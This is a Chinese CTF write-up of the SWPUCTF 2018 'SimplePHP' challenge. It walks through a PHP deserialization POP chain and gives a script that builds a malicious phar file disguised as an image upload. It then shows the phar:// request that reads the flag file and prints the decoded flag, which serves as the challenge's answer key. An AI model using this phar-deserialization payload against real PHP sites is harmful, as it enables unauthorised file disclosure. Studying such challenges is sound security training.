【SWPUCT 2018】SimplePHP

拿下代码

先通过查看文件的功能拿下全部的文件代码,分别是index.phpbase.phpfile.phpupload_file.phpfunction.phpclass.php。然后粗略看下代码,有个提示(不知道是不是后面放上去的),就是class.php那里。

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }

    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }

    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        return $this->get($key);
    }

    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

审计与pop链的构造

首先是C1e4r类的__destruct()方法,可以把$test也就是$str给输出出来。想要输出flag就得将$str的内容为flag文件,将$str声明为$show对象可以触发show类中的__toString()方法。

然后是show类的__toString()方法,可以把$content的内容返回对象,这就要求$show->str['str']->source的内容为flag文件,若$show->str['str']为test类的一个实例化对象,则因test类里面没有source属性,从而触发__get()方法。

最后就是test类了,利用__get()get()file_get($value)到最后返回出来,$value的值为$this->params[$key]

下为pop链函数

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();

$test->params['source'] = "/var/www/html/f1ag.php";  //目标文件
$c1e4r->str = $show;   //触发__toString(),利用 `$this->test = $this->str; echo $this->test;`
$show->str['str'] = $test;  //触发__get(),利用 `$this->str['str']->source`;

第一个__tostring()的触发是因为对象被当做字符串了,第二个__get()方法触发是因为test类里面没有source属性。

phar文件制作及利用

phar文件制作脚本:

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();

$test->params['source'] = "/var/www/html/f1ag.php";  //目标文件
$c1e4r->str = $show;   //触发__toString(),利用 `$this->test = $this->str; echo $this->test;`
$show->str['str'] = $test;  //触发__get(),利用 `$this->str['str']->source`;


$phar = new Phar("7.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c1e4r); //触发头是C1e4r类
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();

本地访问一下生成文件后改下后缀名为.png,上传。上传之后可以在upload目录下发现刚上传的图片,在function.php的源码里面可以发现下面的这条语句

if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 

从而得知文件的目录。。。阿巴阿巴,目录直接就开着呢,就比较好找。

触发phar://获得flag

访问格式如下

http://b96da071-0c04-4abe-96c6-ea5cf235782d.node3.buuoj.cn/file.php?file=phar://upload/2fe9104ed353a3e60ed55404e1abf179.jpg

获得base64转化后的内容解码一下即为flag。

 <?php __HALT_COMPILER(); ?>
PD9waHAgDQoJLy8kYSA9ICdmbGFnezBlNjg3NzQzLWM5NWQtNDJhMi04Nzk5LWM0MzIwNjU1MjBjMH0nOw0KID8+DQoNCg==
<?php 
	//$a = 'flag{0e687743-c95d-42a2-8799-c432065520c0}';
 ?>
posted @ 2020-10-23 22:57  M4xlmum  阅读(96)  评论(0编辑  收藏  举报